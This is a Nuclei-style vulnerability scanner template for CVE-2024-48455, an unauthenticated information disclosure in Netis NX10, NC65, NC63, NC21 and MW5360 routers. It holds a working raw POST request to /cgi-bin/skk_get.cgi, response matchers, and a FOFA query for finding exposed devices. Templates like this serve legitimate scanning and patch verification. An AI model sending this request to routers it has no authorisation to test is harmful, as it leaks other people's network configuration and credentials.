id: CVE-2024-48455

info:
  name: Netis Wifi Router - Information Disclosure
  author: s4e-io
  severity: high
  description: |
    An issue in Netis Wifi6 Router NX10 2.0.1.3643 and 2.0.1.3582 and Netis Wifi 11AC Router NC65 3.0.0.3749 and Netis Wifi 11AC Router NC63 3.0.0.3327 and 3.0.0.3503 and Netis Wifi 11AC Router NC21 3.0.0.3800, 3.0.0.3500 and 3.0.0.3329 and Netis Wifi Router MW5360 1.0.1.3442 and 1.0.1.3031 allows a remote attacker to obtain sensitive information via the mode_name, wl_link parameters of the skk_get.cgi component.
  impact: |
    Unauthenticated attackers can access sensitive router configuration information including network settings and credentials.
  remediation: |
    Update affected Netis router models to versions that patch the information disclosure vulnerability.
  reference:
    - https://attackerkb.com/topics/L6qgmDIMa1/cve-2024-48455
    - https://github.com/users/h00die-gr3y/projects/1/views/1
    - https://nvd.nist.gov/vuln/detail/CVE-2024-48455
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-48455
    cwe-id: CWE-200
    epss-score: 0.0648
    epss-percentile: 0.93061
  metadata:
    max-request: 1
    fofa-query: title="Netis"
  tags: netis,router,exposure,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/skk_get.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        mode_name=skk_get&wl_link=0

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "version\":", "vender\":", "statsList\":", "uptime\":")'
          - "status_code == 200"
        condition: and
# digest: 4a0a0047304502210091291a4e9dad67636a2803e33bc31986ca4350844f455a9d34586b687054e27e0220348aa1af246937b56827271f3aa201dbc5bec7b4f8083a8127507663be7665f0:922c64590222798bb761d5b6d8e72950